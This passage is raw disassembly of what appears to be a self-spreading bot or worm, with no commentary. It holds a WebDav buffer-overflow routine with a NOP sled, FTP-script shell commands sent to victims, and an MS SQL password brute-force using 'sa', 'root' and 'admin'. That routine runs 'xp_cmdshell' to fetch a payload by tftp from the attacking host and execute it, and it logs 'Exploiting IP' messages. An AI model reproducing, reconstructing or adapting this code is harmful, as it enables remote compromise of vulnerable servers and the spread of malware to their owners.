ecx, ebx and ecx, 3 rep movsb mov ecx, eax mov [ebp+var_394], 6EB06EBh mov [ebp+var_390], edx lea esi, [ecx+1] loc_411CC7: ; CODE XREF: sub_411B71+15Bj mov dl, [ecx] inc ecx test dl, dl jnz short loc_411CC7 sub ecx, esi mov esi, eax mov eax, ecx shr ecx, 2 lea edi, [ebp+var_384] rep movsd mov ecx, eax and ecx, 3 rep movsb xor eax, eax loc_411CE8: ; CODE XREF: sub_411B71+193j mov cl, [ebp+eax+var_EAC] and [ebp+eax*2+var_402B], 0 mov [ebp+eax*2+var_402C], cl inc eax cmp eax, 0DACh jl short loc_411CE8 and [ebp+var_24D4], 0 and [ebp+var_24D3], 0 mov edx, 714h mov ecx, edx mov eax, 31313131h lea edi, [ebp+var_81DC] rep stosd stosw mov ecx, edx mov eax, 31313131h lea edi, [ebp+var_6104] rep stosd stosw jmp short loc_411DA4 ; --------------------------------------------------------------------------- loc_411D3D: ; CODE XREF: sub_411B71+F0j mov ecx, 1F4h lea edi, [ebp+var_8D0] rep stosd mov eax, offset loc_42B5E0 mov ecx, eax lea esi, [ecx+1] loc_411D54: ; CODE XREF: sub_411B71+1E8j mov dl, [ecx] inc ecx test dl, dl jnz short loc_411D54 sub ecx, esi mov esi, eax mov eax, ecx shr ecx, 2 lea edi, [ebp+var_830] rep movsd mov ecx, eax and ecx, 3 lea eax, [ebp+var_C] rep movsb lea ecx, [eax+1] loc_411D79: ; CODE XREF: sub_411B71+20Dj mov dl, [eax] inc eax test dl, dl jnz short loc_411D79 sub eax, ecx mov ecx, eax shr ecx, 2 lea esi, [ebp+var_C] lea edi, [ebp+var_114] rep movsd mov ecx, eax mov eax, dword_42BDE0 and ecx, 3 rep movsb mov [ebp+var_124], eax loc_411DA4: ; CODE XREF: sub_411B71+1CAj mov esi, [ebp+arg_140] mov ecx, 38Ah mov eax, 31313131h lea edi, [ebp+var_24D0] rep stosd stosb movsx eax, [ebp+var_1] push 0 add eax, 4 push eax lea eax, [ebp+var_AC] push eax push esi call dword_433534 cmp eax, 0FFFFFFFFh jnz short loc_411DE1 loc_411DDA: ; CODE XREF: sub_411B71+29Aj ; sub_411B71+2C1j ... xor al, al jmp loc_411F79 ; --------------------------------------------------------------------------- loc_411DE1: ; CODE XREF: sub_411B71+267j push 0 mov ebx, 640h push ebx lea eax, [ebp+var_14EC] push eax push esi call dword_433414 xor edi, edi push edi push 68h push offset dword_42BA00 push esi call dword_433534 cmp eax, 0FFFFFFFFh jz short loc_411DDA push edi push ebx lea eax, [ebp+var_14EC] push eax push esi call dword_433414 push edi push 0A0h push offset dword_42BA70 push esi call dword_433534 cmp eax, 0FFFFFFFFh jz short loc_411DDA push edi push ebx lea eax, [ebp+var_14EC] push eax push esi call dword_433414 cmp [ebp+arg_144], edi jz loc_411EF1 push 1Ah pop ecx mov esi, offset dword_42BC30 lea edi, [ebp+var_81DC] rep movsd mov ecx, 6D6h lea esi, [ebp+var_402C] lea edi, [ebp+var_8174] rep movsd movsw push 1Ch pop ecx mov esi, offset dword_42BCA0 lea edi, [ebp+var_6104] rep movsd mov ecx, 297h lea esi, [ebp+var_2F98] lea edi, [ebp+var_6094] rep movsd push 21h movsw pop ecx mov esi, offset dword_42BD18 lea edi, [ebp+var_55D0] rep movsd xor esi, esi push esi push 10FCh lea eax, [ebp+var_81DC] push eax push [ebp+arg_140] call dword_433534 cmp eax, 0FFFFFFFFh jz loc_411DDA push esi push ebx lea eax, [ebp+var_14EC] push eax push [ebp+arg_140] call dword_433414 push esi push 0FDCh lea eax, [ebp+var_6104] jmp short loc_411F38 ; --------------------------------------------------------------------------- loc_411EF1: ; CODE XREF: sub_411B71+2D9j push 1Fh pop ecx mov esi, offset dword_42BB18 lea edi, [ebp+var_24D0] rep movsd push 24h mov ecx, 1F4h lea esi, [ebp+var_8D0] lea edi, [ebp+var_2454] rep movsd pop ecx mov esi, offset off_42BB98 lea edi, [ebp+var_1C84] push 0 rep movsd and [ebp+var_17D9], 0 push 0CF8h lea eax, [ebp+var_24D0] loc_411F38: ; CODE XREF: sub_411B71+37Ej push eax push [ebp+arg_140] call dword_433534 cmp eax, 0FFFFFFFFh jz loc_411DDA push 12Ch call ds:dword_41F000 sub esp, 140h push 50h pop ecx lea esi, [ebp+arg_0] mov edi, esp rep movsd call sub_411A2E add esp, 140h test al, al setnz al loc_411F79: ; CODE XREF: sub_411B71+26Bj pop edi pop esi pop ebx leave retn sub_411B71 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 854h push ebx push esi push edi xor eax, eax lea edi, [ebp-14h] stosd stosd stosd stosd lea eax, [ebp+0Ch] xor esi, esi push eax mov [ebp-4], esi mov word ptr [ebp-14h], 2 call dword_433514 push dword ptr [ebp+12Ch] mov [ebp-10h], eax call dword_4335EC push 6 push 1 push 2 mov [ebp-12h], ax call dword_4334A0 mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jz loc_41207A push 10h lea eax, [ebp-14h] push eax push ebx call dword_433458 cmp eax, edi jz loc_412073 push esi push 89h push offset dword_42B778 push ebx call dword_433534 cmp eax, edi jz short loc_412073 push esi mov esi, 640h push esi lea eax, [ebp-854h] push eax push ebx call dword_433414 push 0 push 0A8h push offset dword_42B808 push ebx call dword_433534 cmp eax, edi jz short loc_412073 push 0 push esi lea eax, [ebp-854h] push eax push ebx call dword_433414 push 0 push 0DEh push offset dword_42B8B8 push ebx call dword_433534 cmp eax, edi jz short loc_412073 push 0 push esi lea eax, [ebp-854h] push eax push ebx call dword_433414 movsx eax, byte ptr [ebp-810h] sub eax, 30h jz short loc_412085 dec eax jz short loc_412081 loc_412073: ; CODE XREF: .text:00411FE3j ; .text:00411FFDj ... push ebx call dword_4335AC loc_41207A: ; CODE XREF: .text:00411FCEj xor eax, eax jmp loc_412147 ; --------------------------------------------------------------------------- loc_412081: ; CODE XREF: .text:00412071j push 0 jmp short loc_4120A9 ; --------------------------------------------------------------------------- loc_412085: ; CODE XREF: .text:0041206Ej push 2 push ebx sub esp, 140h push 50h pop ecx lea esi, [ebp+8] mov edi, esp rep movsd call sub_411B71 add esp, 148h test al, al jnz short loc_4120C9 push 1 loc_4120A9: ; CODE XREF: .text:00412083j push ebx sub esp, 140h push 50h pop ecx lea esi, [ebp+8] mov edi, esp rep movsd call sub_411B71 add esp, 148h test al, al jz short loc_4120D0 loc_4120C9: ; CODE XREF: .text:004120A5j mov dword ptr [ebp-4], 1 loc_4120D0: ; CODE XREF: .text:004120C7j push ebx call dword_4335AC cmp dword ptr [ebp-4], 0 jz short loc_412144 lea eax, [ebp+0Ch] push eax mov eax, [ebp+134h] imul eax, 3Ch add eax, offset aWebdav_0 ; "WebDav" push eax push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." lea eax, [ebp-214h] push 200h push eax call sub_412E0D push 0 push dword ptr [ebp+13Ch] lea eax, [ebp-214h] push eax lea eax, [ebp+0A0h] push eax push dword ptr [ebp+8] call sub_4045DD lea eax, [ebp-214h] push eax call sub_401C33 mov eax, [ebp+134h] imul eax, 3Ch lea eax, dword_42A070[eax] add esp, 2Ch inc dword ptr [eax] loc_412144: ; CODE XREF: .text:004120DBj xor eax, eax inc eax loc_412147: ; CODE XREF: .text:0041207Cj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 8590h call sub_412DD0 mov eax, ds:dword_4275EC push ebx push esi mov [ebp-0Ch], eax mov eax, ds:dword_4275F0 push edi mov [ebp-8], eax lea eax, [ebp+0Ch] push 1 push eax call sub_4028A8 test eax, eax pop ecx pop ecx jz loc_412737 cmp eax, 1 jz loc_412737 cmp eax, 3 jnz short loc_412195 and dword ptr [ebp-10h], 0 jmp short loc_4121A9 ; --------------------------------------------------------------------------- loc_412195: ; CODE XREF: .text:0041218Dj call sub_412D71 push 0Ah cdq pop ecx idiv ecx neg edx sbb edx, edx inc edx inc edx mov [ebp-10h], edx loc_4121A9: ; CODE XREF: .text:00412193j lea eax, [ebp+0Ch] push eax push offset aSIpc ; "\\\\%s\\ipc$" lea eax, [ebp-58h] push 28h push eax call sub_412E0D add esp, 10h xor eax, eax loc_4121C2: ; CODE XREF: .text:004121D9j mov cl, [ebp+eax-58h] and byte ptr [ebp+eax*2-11Fh], 0 mov [ebp+eax*2-120h], cl inc eax cmp eax, 28h jl short loc_4121C2 push 18h pop ecx mov esi, offset dword_42C250 lea edi, [ebp-0D0h] lea eax, [ebp-58h] rep movsd lea edx, [eax+1] loc_4121F1: ; CODE XREF: .text:004121F6j mov cl, [eax] inc eax test cl, cl jnz short loc_4121F1 sub eax, edx mov ecx, eax lea esi, [ebp-120h] lea edi, [ebp-0A0h] lea eax, [ebp-58h] rep movsw lea ecx, [eax+1] loc_412211: ; CODE XREF: .text:00412216j mov dl, [eax] inc eax test dl, dl jnz short loc_412211 sub eax, ecx lea edi, [ebp+eax*2-0A1h] mov esi, (offset aC_5+3) movsd movsd lea eax, [ebp-58h] movsb lea ecx, [eax+1] loc_41222F: ; CODE XREF: .text:00412234j mov dl, [eax] inc eax test dl, dl jnz short loc_41222F sub eax, ecx add al, 1Ah shl al, 1 mov [ebp-1], al mov [ebp-0CDh], al lea eax, [ebp-58h] lea ecx, [eax+1] loc_41224B: ; CODE XREF: .text:00412250j mov dl, [eax] inc eax test dl, dl jnz short loc_41224B sub eax, ecx shl al, 1 add al, 9 push 135h mov [ebp-0A3h], al call dword_4335EC mov ebx, [ebp-10h] xor eax, 9999h cmp ebx, 1 mov word_42BF48, ax jz short loc_4122F6 cmp ebx, 2 jz short loc_4122F6 mov eax, 90909090h mov ecx, 1F4h lea edi, [ebp-12C4h] rep stosd mov eax, offset loc_42BE98 mov ecx, eax lea esi, [ecx+1] loc_41229D: ; CODE XREF: .text:004122A2j mov dl, [ecx] inc ecx test dl, dl jnz short loc_41229D sub ecx, esi mov esi, eax mov eax, ecx shr ecx, 2 lea edi, [ebp-1224h] rep movsd mov ecx, eax and ecx, 3 lea eax, [ebp-0Ch] rep movsb lea ecx, [eax+1] loc_4122C2: ; CODE XREF: .text:004122C7j mov dl, [eax] inc eax test dl, dl jnz short loc_4122C2 sub eax, ecx mov ecx, eax shr ecx, 2 lea esi, [ebp-0Ch] lea edi, [ebp-0B08h] rep movsd mov ecx, eax and ecx, 3 imul ebx, 3Ch mov eax, dword_42C690[ebx] rep movsb mov [ebp-0B18h], eax jmp loc_4123C8 ; --------------------------------------------------------------------------- loc_4122F6: ; CODE XREF: .text:0041227Aj ; .text:0041227Fj imul ebx, 3Ch mov edx, dword_42C690[ebx] mov eax, 90909090h mov ecx, 36Bh lea edi, [ebp-18A0h] rep stosd mov eax, offset loc_42BE98 mov ecx, eax mov [ebp-10BCh], edx lea esi, [ecx+1] loc_412321: ; CODE XREF: .text:00412326j mov bl, [ecx] inc ecx test bl, bl jnz short loc_412321 sub ecx, esi mov ebx, ecx shr ecx, 2 mov esi, eax lea edi, [ebp-10ACh] rep movsd mov ecx, ebx and ecx, 3 rep movsb mov ecx, eax mov dword ptr [ebp-0D88h], 6EB06EBh mov [ebp-0D84h], edx lea esi, [ecx+1] loc_412355: ; CODE XREF: .text:0041235Aj mov dl, [ecx] inc ecx test dl, dl jnz short loc_412355 sub ecx, esi mov esi, eax mov eax, ecx shr ecx, 2 lea edi, [ebp-0D78h] rep movsd mov ecx, eax and ecx, 3 rep movsb xor eax, eax loc_412376: ; CODE XREF: .text:00412392j mov cl, [ebp+eax-18A0h] and byte ptr [ebp+eax*2-43DFh], 0 mov [ebp+eax*2-43E0h], cl inc eax cmp eax, 0DACh jl short loc_412376 and byte ptr [ebp-2888h], 0 and byte ptr [ebp-2887h], 0 mov edx, 714h mov esi, 31313131h mov ecx, edx mov eax, esi lea edi, [ebp-8590h] rep stosd stosw mov ecx, edx mov eax, esi lea edi, [ebp-64B8h] rep stosd stosw loc_4123C8: ; CODE XREF: .text:004122F1j mov ecx, 38Ah mov eax, 31313131h lea edi, [ebp-2884h] rep stosd xor ebx, ebx push ebx push 1 push 2 stosb call dword_4334A0 mov esi, eax xor eax, eax cmp esi, 0FFFFFFFFh mov [ebp-8], esi jz loc_412739 push dword ptr [ebp+12Ch] lea edi, [ebp-30h] stosd stosd stosd stosd mov word ptr [ebp-30h], 2 call dword_4335EC mov [ebp-2Eh], ax lea eax, [ebp+0Ch] push eax call dword_433514 mov [ebp-2Ch], eax push 10h lea eax, [ebp-30h] push eax push esi call dword_433458 cmp eax, 0FFFFFFFFh jz loc_412730 push ebx push 89h push offset dword_42C030 push esi call dword_433534 cmp eax, 0FFFFFFFFh jz loc_412730 push ebx mov ebx, 640h push ebx lea eax, [ebp-0AF0h] push eax push esi call dword_433414 xor edi, edi push edi push 0A8h push offset dword_42C0C0 push esi call dword_433534 cmp eax, 0FFFFFFFFh jz loc_412730 push edi push ebx lea eax, [ebp-0AF0h] push eax push esi call dword_433414 push edi push 0DEh push offset dword_42C170 push esi call dword_433534 cmp eax, 0FFFFFFFFh jz loc_412730 push edi push ebx lea eax, [ebp-0AF0h] push eax push esi call dword_433414 movsx eax, byte ptr [ebp-1] push edi add eax, 4 push eax lea eax, [ebp-0D0h] push eax push esi call dword_433534 cmp eax, 0FFFFFFFFh jz loc_412730 push edi push ebx lea eax, [ebp-0AF0h] push eax push esi call dword_433414 push edi push 68h push offset dword_42C2B8 push esi call dword_433534 cmp eax, 0FFFFFFFFh jz loc_412730 push edi push ebx lea eax, [ebp-0AF0h] push eax push esi call dword_433414 push edi push 0A0h push offset dword_42C328 push esi call dword_433534 cmp eax, 0FFFFFFFFh jz loc_412730 push edi push ebx lea eax, [ebp-0AF0h] push eax push esi call dword_433414 cmp dword ptr [ebp-10h], 1 jz short loc_4125B1 cmp dword ptr [ebp-10h], 2 jz short loc_4125B1 push 1Fh pop ecx mov esi, offset dword_42C3D0 lea edi, [ebp-2884h] rep movsd push 24h mov ecx, 1F4h lea esi, [ebp-12C4h] lea edi, [ebp-2808h] rep movsd pop ecx push 0 push 0CF8h lea eax, [ebp-2884h] mov esi, offset off_42C450 lea edi, [ebp-2038h] push eax push dword ptr [ebp-8] rep movsd and byte ptr [ebp-1B8Dh], 0 loc_41259A: ; CODE XREF: .text:0041264Bj call dword_433534 cmp eax, 0FFFFFFFFh jnz loc_412650 loc_4125A9: ; CODE XREF: .text:00412674j push dword ptr [ebp-8] jmp loc_412731 ; --------------------------------------------------------------------------- loc_4125B1: ; CODE XREF: .text:00412547j ; .text:0041254Dj push 1Ah pop ecx mov esi, offset dword_42C4E8 lea edi, [ebp-8590h] rep movsd mov ecx, 6D6h lea esi, [ebp-43E0h] lea edi, [ebp-8528h] rep movsd movsw push 1Ch pop ecx mov esi, offset dword_42C558 lea edi, [ebp-64B8h] rep movsd mov ecx, 297h lea esi, [ebp-334Ch] lea edi, [ebp-6448h] rep movsd push 21h movsw pop ecx mov esi, offset dword_42C5D0 lea edi, [ebp-5984h] rep movsd mov esi, [ebp-8] xor edi, edi push edi push 10FCh lea eax, [ebp-8590h] push eax push esi call dword_433534 cmp eax, 0FFFFFFFFh jz loc_412730 push edi push ebx lea eax, [ebp-0AF0h] push eax push esi call dword_433414 push edi push 0FDCh lea eax, [ebp-64B8h] push eax push esi jmp loc_41259A ; --------------------------------------------------------------------------- loc_412650: ; CODE XREF: .text:004125A3j push 0 push ebx lea eax, [ebp-0AF0h] push eax push dword ptr [ebp-8] call dword_433414 push 6 push 1 push 2 call dword_4334A0 mov esi, eax cmp esi, 0FFFFFFFFh jz loc_4125A9 xor eax, eax lea edi, [ebp-20h] stosd stosd stosd stosd push 135h mov word ptr [ebp-20h], 2 call dword_4335EC mov [ebp-1Eh], ax lea eax, [ebp+0Ch] push eax call dword_433514 mov [ebp-1Ch], eax push 10h lea eax, [ebp-20h] push eax push esi call dword_433458 cmp eax, 0FFFFFFFFh jnz short loc_4126BC push dword ptr [ebp-8] jmp short loc_41272A ; --------------------------------------------------------------------------- loc_4126BC: ; CODE XREF: .text:004126B5j xor edi, edi push edi push ebx lea eax, [ebp-0AF0h] push eax push esi call dword_433414 test eax, eax jle short loc_412737 push 1F4h call ds:dword_41F000 push dword ptr [ebp+9Ch] lea eax, [ebp+1Ch] push eax push offset aEchoOpenSDOE_0 ; "echo open %s %d>o&echo USER a>>o&echo a"... lea eax, [ebp-2B0h] push 190h push eax call sub_412E0D lea eax, [ebp-2B0h] add esp, 14h lea edx, [eax+1] loc_412709: ; CODE XREF: .text:0041270Ej mov cl, [eax] inc eax test cl, cl jnz short loc_412709 push edi sub eax, edx push eax lea eax, [ebp-2B0h] push eax push esi call dword_433534 cmp eax, 0FFFFFFFFh push dword ptr [ebp-8] jnz short loc_41273E loc_41272A: ; CODE XREF: .text:004126BAj call dword_4335AC loc_412730: ; CODE XREF: .text:00412432j ; .text:0041244Dj ... push esi loc_412731: ; CODE XREF: .text:004125ACj call dword_4335AC loc_412737: ; CODE XREF: .text:0041217Bj ; .text:00412184j ... xor eax, eax loc_412739: ; CODE XREF: .text:004123F2j ; .text:004127C0j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41273E: ; CODE XREF: .text:00412728j call dword_4335AC push esi call dword_4335AC lea eax, [ebp+0Ch] push eax mov eax, [ebp+134h] imul eax, 3Ch add eax, offset aWebdav_0 ; "WebDav" push eax push offset aSTryingToXploi ; "[%s]: Trying to Xploit IP: %s." lea eax, [ebp-4B0h] push 200h push eax call sub_412E0D add esp, 14h cmp [ebp+140h], edi jnz short loc_41279F push edi push dword ptr [ebp+13Ch] lea eax, [ebp-4B0h] push eax lea eax, [ebp+0A0h] push eax push dword ptr [ebp+8] call sub_4045DD add esp, 14h loc_41279F: ; CODE XREF: .text:0041277Dj lea eax, [ebp-4B0h] push eax call sub_401C33 mov eax, [ebp+134h] imul eax, 3Ch lea eax, dword_42A070[eax] inc dword ptr [eax] xor eax, eax pop ecx inc eax jmp loc_412739 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0E30h push ebx xor ebx, ebx lea eax, [ebp-14h] push eax push ebx push 1 mov [ebp-1], bl mov dword ptr [ebp-30h], offset aSa ; "sa" mov dword ptr [ebp-2Ch], offset aRoot ; "root" mov dword ptr [ebp-28h], offset aAdmin ; "admin" mov [ebp-24h], ebx mov [ebp-1Ch], ebx mov [ebp-0Ch], ebx mov [ebp-10h], ebx call dword_4334C4 test ax, ax jnz short loc_41281E push 0FFFFFFFAh push 3 push 0C8h push dword ptr [ebp-14h] call dword_43345C test ax, ax jz short loc_412825 loc_41281E: ; CODE XREF: .text:00412805j xor eax, eax jmp loc_412A73 ; --------------------------------------------------------------------------- loc_412825: ; CODE XREF: .text:0041281Cj push esi lea eax, [ebp-0Ch] push eax push dword ptr [ebp-14h] push 2 call dword_4334C4 test ax, ax jz short loc_412841 xor esi, esi jmp loc_412A65 ; --------------------------------------------------------------------------- loc_412841: ; CODE XREF: .text:00412838j lea eax, [ebp-30h] push edi mov edi, ds:dword_41F000 mov [ebp-8], eax loc_41284E: ; CODE XREF: .text:00412A53j cmp dword_42B050, ebx mov [ebp-18h], ebx jz loc_412A42 mov eax, offset dword_42B050 mov esi, eax loc_412864: ; CODE XREF: .text:004128DEj lea ecx, [ebp-1] push ecx push dword ptr [eax] mov eax, [ebp-8] push dword ptr [eax] lea eax, [ebp+0Ch] push dword ptr [ebp+12Ch] push eax lea eax, [ebp-0A30h] push offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"... push eax call sub_412BB5 lea eax, [ebp-0A30h] add esp, 1Ch lea ecx, [eax+1] loc_412896: ; CODE XREF: .text:0041289Bj mov dl, [eax] inc eax cmp dl, bl jnz short loc_412896 push ebx sub eax, ecx lea ecx, [ebp-20h] push ecx push 400h lea ecx, [ebp-0E30h] push ecx push eax lea eax, [ebp-0A30h] push eax push ebx push dword ptr [ebp-0Ch] call dword_43358C cmp ax, bx jz short loc_4128E5 cmp ax, 1 jz short loc_4128E5 push 1F4h call edi inc dword ptr [ebp-18h] add esi, 4 cmp [esi], ebx mov eax, esi jnz short loc_412864 jmp loc_412A42 ; --------------------------------------------------------------------------- loc_4128E5: ; CODE XREF: .text:004128C5j ; .text:004128CBj lea eax, [ebp-10h] push eax push dword ptr [ebp-0Ch] push 3 call dword_4334C4 mov esi, offset byte_42AED0 push esi push dword ptr [ebp+8] call sub_406C33 pop ecx push eax lea eax, [ebp-630h] push offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'tftp -i %s GE"... push eax call sub_412BB5 add esp, 10h push 0FFFFFFFDh lea eax, [ebp-630h] push eax push dword ptr [ebp-10h] call dword_4335A4 test ax, ax jz loc_412A2E push 1388h call edi push esi lea eax, [ebp-630h] push offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'" push eax call sub_412BB5 lea eax, [ebp+0Ch] push eax lea eax, [ebp-230h] push offset aTftpFileTran_1 ; "[TFTP]: File transfer complete to IP: %"... push eax call sub_412BB5 add esp, 18h xor esi, esi loc_412966: ; CODE XREF: .text:00412999j lea eax, [ebp-230h] push eax call sub_401D13 test eax, eax pop ecx jz short loc_41298E push 0FFFFFFFDh lea eax, [ebp-630h] push eax push dword ptr [ebp-10h] call dword_4335A4 test ax, ax jz short loc_4129A0 loc_41298E: ; CODE XREF: .text:00412975j push 1388h call edi inc esi cmp esi, 6 jl short loc_412966 jmp loc_412A2E ; --------------------------------------------------------------------------- loc_4129A0: ; CODE XREF: .text:0041298Cj mov eax, [ebp-18h] push dword_42B050[eax*4] mov eax, [ebp-8] push dword ptr [eax] lea eax, [ebp+0Ch] push dword ptr [ebp+12Ch] mov dword ptr [ebp-1Ch], 1 push eax mov eax, [ebp+134h] imul eax, 3Ch add eax, offset aWebdav_0 ; "WebDav" push eax push offset aSExploitingI_0 ; "[%s]: Exploiting IP: (%s:%d) User: (%s/"... lea eax, [ebp-230h] push 200h push eax call sub_412E0D add esp, 20h cmp [ebp+140h], ebx jnz short loc_412A10 push ebx push dword ptr [ebp+13Ch] lea eax, [ebp-230h] push eax lea eax, [ebp+0A0h] push eax push dword ptr [ebp+8] call sub_4045DD add esp, 14h loc_412A10: ; CODE XREF: .text:004129EEj lea eax, [ebp-230h] push eax call sub_401C33 mov eax, [ebp+134h] imul eax, 3Ch lea eax, dword_42A070[eax] inc dword ptr [eax] pop ecx loc_412A2E: ; CODE XREF: .text:0041292Dj ; .text:0041299Bj push dword ptr [ebp-0Ch] call dword_433468 push dword ptr [ebp-10h] push 3 call dword_433550 loc_412A42: ; CODE XREF: .text:00412857j ; .text:004128E0j mov esi, [ebp-1Ch] cmp esi, 1 jz short loc_412A59 add dword ptr [ebp-8], 4 mov eax, [ebp-8] cmp [eax], ebx jnz loc_41284E loc_412A59: ; CODE XREF: .text:00412A48j push dword ptr [ebp-0Ch] push 2 call dword_433550 pop edi loc_412A65: ; CODE XREF: .text:0041283Cj push dword ptr [ebp-14h] push 1 call dword_433550 mov eax, esi pop esi loc_412A73: ; CODE XREF: .text:00412820j pop ebx leave retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_412A80 proc near ; CODE XREF: sub_401000+5Cp ; sub_401000+9Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_412B44 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_412AAC loc_412A9B: ; CODE XREF: sub_412A80+2Aj mov al, [edi] add edi, 1 test al, al jz short loc_412ADD test edi, 3 jnz short loc_412A9B loc_412AAC: ; CODE XREF: sub_412A80+19j ; sub_412A80+42j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_412AAC mov eax, [edi-4] test al, al jz short loc_412AEC test ah, ah jz short loc_412AE7 test eax, 0FF0000h jz short loc_412AE2 test eax, 0FF000000h jnz short loc_412AAC loc_412ADD: ; CODE XREF: sub_412A80+22j sub edi, 1 jmp short loc_412AEF ; --------------------------------------------------------------------------- loc_412AE2: ; CODE XREF: sub_412A80+54j sub edi, 2 jmp short loc_412AEF ; --------------------------------------------------------------------------- loc_412AE7: ; CODE XREF: sub_412A80+4Dj sub edi, 3 jmp short loc_412AEF ; --------------------------------------------------------------------------- loc_412AEC: ; CODE XREF: sub_412A80+49j sub edi, 4 loc_412AEF: ; CODE XREF: sub_412A80+60j ; sub_412A80+65j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_412B04 mov ebx, ecx shr ecx, 2 jnz short loc_412B5E jmp short loc_412B26 ; --------------------------------------------------------------------------- loc_412B04: ; CODE XREF: sub_412A80+79j ; sub_412A80+9Dj mov dl, [esi] add esi, 1 test dl, dl jz short loc_412B4A mov [edi], dl add edi, 1 sub ecx, 1 jz short loc_412B40 test esi, 3 jnz short loc_412B04 mov ebx, ecx shr ecx, 2 jnz short loc_412B5E loc_412B26: ; CODE XREF: sub_412A80+82j ; sub_412A80+DCj mov ecx, ebx and ecx, 3 jz short loc_412B40 loc_412B2D: ; CODE XREF: sub_412A80+BEj mov dl, [esi] add esi, 1 mov [edi], dl add edi, 1 test dl, dl jz short loc_412B42 sub ecx, 1 jnz short loc_412B2D loc_412B40: ; CODE XREF: sub_412A80+95j ; sub_412A80+ABj mov [edi], cl loc_412B42: ; CODE XREF: sub_412A80+B9j pop ebx pop esi loc_412B44: ; CODE XREF: sub_412A80+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_412B4A: ; CODE XREF: sub_412A80+8Bj ; sub_412A80+FAj mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_412B54: ; CODE XREF: sub_412A80+F6j ; sub_412A80+10Ej mov [edi], edx add edi, 4 sub ecx, 1 jz short loc_412B26 loc_412B5E: ; CODE XREF: sub_412A80+80j ; sub_412A80+A4j mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_412B54 test dl, dl jz short loc_412B4A test dh, dh jz short loc_412BAA test edx, 0FF0000h jz short loc_412B9A test edx, 0FF000000h jnz short loc_412B54 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_412B9A: ; CODE XREF: sub_412A80+106j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_412BAA: ; CODE XREF: sub_412A80+FEj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_412A80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412BB5 proc near ; CODE XREF: sub_401000+19p ; sub_401000+48p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h push esi mov esi, [ebp+arg_0] push edi lea eax, [ebp+arg_8] push eax push [ebp+arg_4] lea eax, [ebp+var_20] push eax mov [ebp+var_1C], 7FFFFFFFh mov [ebp+var_14], 42h mov [ebp+var_18], esi mov [ebp+var_20], esi call sub_414CA3 add esp, 0Ch test esi, esi mov edi, eax jz short loc_412C07 dec [ebp+var_1C] js short loc_412BFA mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_412C07 ; --------------------------------------------------------------------------- loc_412BFA: ; CODE XREF: sub_412BB5+3Bj lea eax, [ebp+var_20] push eax push 0 call sub_414AFC pop ecx pop ecx loc_412C07: ; CODE XREF: sub_412BB5+36j ; sub_412BB5+43j mov eax, edi pop edi pop esi leave retn sub_412BB5 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412C10 proc near ; CODE XREF: sub_401141+2CFp ; sub_4078FA+3B62p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb add ecx, 1 neg ecx sub edi, 1 mov al, [ebp+arg_4] std repne scasb add edi, 1 cmp [edi], al jz short loc_412C37 xor eax, eax jmp short loc_412C39 ; --------------------------------------------------------------------------- loc_412C37: ; CODE XREF: sub_412C10+21j mov eax, edi loc_412C39: ; CODE XREF: sub_412C10+25j cld pop edi leave retn sub_412C10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_412C40 proc near ; CODE XREF: sub_401141+6Ep ; sub_401141+A2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_412CDF push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_412C6C shr ecx, 2 jnz loc_412CEF jmp short loc_412C93 ; --------------------------------------------------------------------------- loc_412C6C: ; CODE XREF: sub_412C40+1Fj ; sub_412C40+45j mov al, [esi] add esi, 1 mov [edi], al add edi, 1 sub ecx, 1 jz short loc_412CA6 test al, al jz short loc_412CAE test esi, 3 jnz short loc_412C6C mov ebx, ecx shr ecx, 2 jnz short loc_412CEF loc_412C8E: ; CODE XREF: sub_412C40+ADj and ebx, 3 jz short loc_412CA6 loc_412C93: ; CODE XREF: sub_412C40+2Aj ; sub_412C40+64j mov al, [esi] add esi, 1 mov [edi], al add edi, 1 test al, al jz short loc_412CD8 